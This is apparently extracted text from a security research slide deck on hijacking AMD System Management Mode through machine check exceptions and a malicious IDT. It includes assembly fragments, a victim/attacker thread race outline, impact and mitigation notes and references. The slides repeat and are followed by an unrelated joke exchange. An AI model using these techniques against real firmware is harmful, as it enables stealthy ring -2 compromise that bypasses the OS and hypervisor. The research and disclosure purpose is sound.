mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SMI_Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SMI_Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

(reconfigure northbridge)  
(install hijack IDT)

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf


mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...






mov rcx, rbx
mov rax, SMI Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```





```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```





thread 0 (victim)


```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

SMI#

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```


```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```





[demo]

the exploit.

```
deltaop@ubuntu-usb-3:~/_research$
```

- Arbitrary code execution with SMM privileges
  - “ring -2”
  - Invisible to operating system, hypervisor, etc.
  - Can preempt OS, hypervisor, etc.
  - Critical to platform security, server RAS, client miscellanea
  - Firmware R/W access in many configurations

impact

- 
- A decorative graphic on the left side of the slide, consisting of a network of thin, light-gray lines and dots that resemble a circuit board or a neural network. The lines are of varying lengths and angles, creating a complex, organic-looking structure that extends from the top left towards the center of the slide.
- Malicious IDT allowed in SMM, on all AMD CPUs
  - MCE, developed on pre-Zen

mitigation

- Firmware mitigation of SMM MCE path
  - EDK2 SMM code is correct,  
but assumes IDT made safe by microcode
  - On platforms leaving IDT in untrusted state,  
EDK2 should be changed to mitigate MCE threat
  - Submitted patch to remove MCE vector

mitigation

A decorative graphic on the left side of the slide, consisting of a series of vertical and horizontal lines of varying lengths, resembling a circuit board or a stylized tree. The lines are white and set against a dark gray background.

• IDT issue remains

◦ `try { main() } except { pop_shell() }`

mitigation

- 
- An abstract graphic of a circuit board pattern in a light gray color, set against a black background. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and traces, extending from the left side of the frame towards the center.
- Machine checks are *powerful*,  
but have never been explored for exploitation

future research

An abstract graphic of a circuit board pattern in a light gray color, set against a black background. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and wiring, extending across the entire frame.

• Other sources of MCEs

future research

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future research

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processor errata

row-hammer bit flips in DRAM

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future research

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future research

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"Mst DataValid FIFO Error" "Mac LinkState Error" "Deskew Error"  
"Init Timeout Error" "Init Attempt Error" "Recovery Timeout Error"  
"Recovery Attempt Error" "Eye Training Timeout Error"  
"Data Startup Limit Error" "LSD Exit Error"  
"PLL powerState Update Timeout Error" "Rx FIFO Error"  
"Lcu Error" "Conv CECC Error" "Conv UECC Error"  
"Reserved" "Rx DataLoss Error" "Replay CECC Error"  
"Replay UECC Error" "CRC Error" "BER Exceeded Error"  
"FC Init Timeout Error" "FC Init Attempt Error" "Replay Timeout Error"  
"Replay Attempt Error" "Replay Underflow Error" "Replay Overflow Error"  
"Packet Type Error" "Rx FIFO Error" "Deskew Error"  
"Rx Detect Timeout Error" "Data Parity Error" "Data Loss Error"  
"Lcu Error" "HB1 Handshake Timeout Error" "HB2 Handshake Timeout Error"  
"Clk Sleep Rsp Timeout Error" "Clk Wake Rsp Timeout Error" "Reset Attack Error"  
"Remote Link Fatal Error" "Data Loss Error" "Training Error"  
"Replay Parity Error" "Rx Fifo Underflow Error" "Rx Fifo Overflow Error"  
"CRC Error" "BER Exceeded Error" "Tx Fifo Underflow Error"  
"Replay Buffer Parity Error" "Tx Overflow Error" "Replay Fifo Overflow Error"  
"Replay Fifo Underflow Error" "Elastic Fifo Overflow Error" "Deskew Error"  
"Offline Error" "Data Startup Limit Error" "FC Init Timeout Error"  
"Recovery Timeout Error" "Ready Serial Timeout Error" "Ready Serial Attempt Error"  
"Recovery Attempt Error" "Recovery Relock Attempt Error" "Deskew Attempt Error"  
"Rx Buffer Error" "Rx LFDS Fifo Overflow Error" "Rx LFDS Fifo Underflow Error"  
"LinkSub Tx Timeout Error" "LinkSub Rx Timeout Error" "Rx CMD Packet Error"  
"LFDS Training Timeout Error" "LFDS FC Init Timeout Error" "Data Loss Error"

- Other sources of MCEs
- Asynchronous MCEs
- Userland MCEs
- Other exploit targets
- Other architectures

future research

ECC injection  
processor errata  
row-hammer bit flips in DRAM  
memory scrubber  
other MMIO  
no MMIO  
ring-3 errata  
faulty devices  
here-be-dragons  
hypervisors  
secure guests  
enclaves  
secure loader  
ARM  
RISC-V  
MIPS  
PowerPC/Power

"MPDMA TVF SDP Master Memory 4 ECC or parity error" "MPDMA TVF SDP Master Memory 5 ECC or parity error" "MPDMA TVF SDP Master Memory 6 ECC or parity error"  
"SDP Watchdog Timer expired" "MPDMA PTE Command FIFO ECC or parity error" "MPDMA PTE Hub Data FIFO ECC or parity error"  
"MPDMA PTE Internal Data FIFO ECC or parity error" "MPDMA PTE Command Memory DMA ECC or parity error" "MPDMA PTE Command Memory Internal ECC or parity error"  
"MPDMA TVF SDP Master Memory 7 ECC or parity error" "ECC or Parity error" "PCIE error" "External SDP ErrEvent error" "SDP Egress Poison error" "Internal Poison error"  
"Internal system fatal error event" "CCIX PER Message logging" "CCIX Read Response with Status: Non-Data Error"  
"CCIX Write Response with Status: Non-Data Error" "CCIX Read Response with Status: Data Error" "CCIX Non-okay write response with data error"  
"SDP Data Parity Error logging" "Data Loss Error" "Training Error" "Flow Control Acknowledge Error" "Rx Fifo Underflow Error" "Rx Fifo Overflow Error"  
"CRC Error" "BER Exceeded Error" "Tx Void Data Error" "Replay Buffer Parity Error" "Data Parity Error" "Replay Fifo Overflow Error"  
"Replay Fifo Underflow Error" "Elastic Fifo Overflow Error" "Deskew Error"  
"Flow Control CRC Error" "Data Startup Limit Error" "FC Init Timeout Error"  
"Recovery Timeout Error" "Ready Serial Timeout Error" "Ready Serial Attempt Error"  
"Recovery Attempt Error" "Recovery Relock Attempt Error"  
"Replay Attempt Error" "Sync Header Error" "Tx Replay Timeout Error"  
"Rx Replay Timeout Error" "LinkSub Tx Timeout Error"  
"LinkSub Rx Timeout Error" "Rx CMD Packet Error"  
"RAM ECC Error" "ARC instruction buffer parity error"  
"ARC data buffer parity error"  
"PHY APB error" "Timeout error from GMI" "SRAM ECC error"  
"NTB Error Event" "SDP Parity error" "Parity error for port 0"  
"Parity error for port 1" "Parity error for port 2" "Parity error for port 3"  
"Parity error for port 4" "Parity error for port 5" "Parity error for port 6"  
"Parity error for port 7" "Parity error or ECC error for S0 RAM0"  
"Parity error or ECC error for S0 RAM1"  
"Parity error or ECC error for S0 RAM2" "Parity error for PHY RAM0"  
"Parity error for PHY RAM1"  
"AXI Slave Response error" "Mst CMD Error" "Mst Rx FIFO Error"  
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"Rx Buffer Error" "Rx LFDS Fifo Overflow Error" "Rx LFDS Fifo Underflow Error"  
"LinkSub Tx Timeout Error" "LinkSub Rx Timeout Error" "Rx CMD Packet Error"  
"LFDS Training Timeout Error" "LFDS FC Init Timeout Error" "Data Loss Error"

- Other sources of MCEs
- Asynchronous MCEs
- Userland MCEs
- Other exploit targets
- Other architectures
- Tip of the iceberg...

future research

ECC injection  
processor errata  
row-hammer bit flips in DRAM  
memory scrubber  
other MMIO  
no MMIO  
ring-3 errata  
faulty devices  
here-be-dragons  
hypervisors  
secure guests  
enclaves  
secure loader  
ARM  
RISC-V  
MIPS  
PowerPC/Power  
???

- INT31 team
- dazzle cat (Stephanie)
- Andi Kleen - "Machine check handling on Linux"
- Wojtczuk - "A Stitch In Time Saves Nine: A Stitch In Time Saves Nine"
- Schluter et al. - "Heckler: Breaking Confidential VMs with Malicious Interrupts"
- Google Cloud Security - "Intel Trust Domain Extensions (TDX) Security Review"
- Peterson/Mulasmajic - "POP SS/MOV SS Vulnerability"
- Steven Rostedt – "The x86 NMI iret problem"
- Andy Lutomirski - CVE-2014-9090
- Van Bulck et al. – SGX-Step
- arch/x86/kernel/cpu/mce/severity.c
- arch/x86/kernel/cpu/mce/amd.c
- arch/x86/kernel/cpu/mce/intel.c
- arch/powerpc/kernel/mce\_power.c
- drivers/edac/amd64\_edac.c
- drivers/edac/mce\_amd.c
- ...

keep digging...


A dark background with a light gray circuit board pattern. The pattern consists of various lines, dots, and rectangular shapes, resembling a printed circuit board (PCB) layout. The lines are thin and light gray, while the dots are small and light gray. The pattern is more dense on the left side and becomes sparser towards the right.

more to come

@xoreaxeaxeax

[github.com/xoreaxeaxeax/mchammer](https://github.com/xoreaxeaxeax/mchammer)

conclusion





Tell a joke about machine check exceptions.

Why don't machine check exceptions get invited to computer parties?  
Because they always bring the system down.